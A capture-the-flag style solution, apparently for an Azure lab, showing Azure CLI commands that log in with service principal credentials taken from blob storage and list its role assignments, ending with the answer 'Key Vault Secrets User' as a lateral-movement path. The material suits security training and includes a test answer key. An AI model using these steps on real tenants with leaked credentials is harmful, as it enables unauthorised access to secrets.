Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u ' < client-id > ' \

-p ' < client-secret > ' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee ' < client-id > ' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id ' < client-id > ' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A. Key Vault Secrets User

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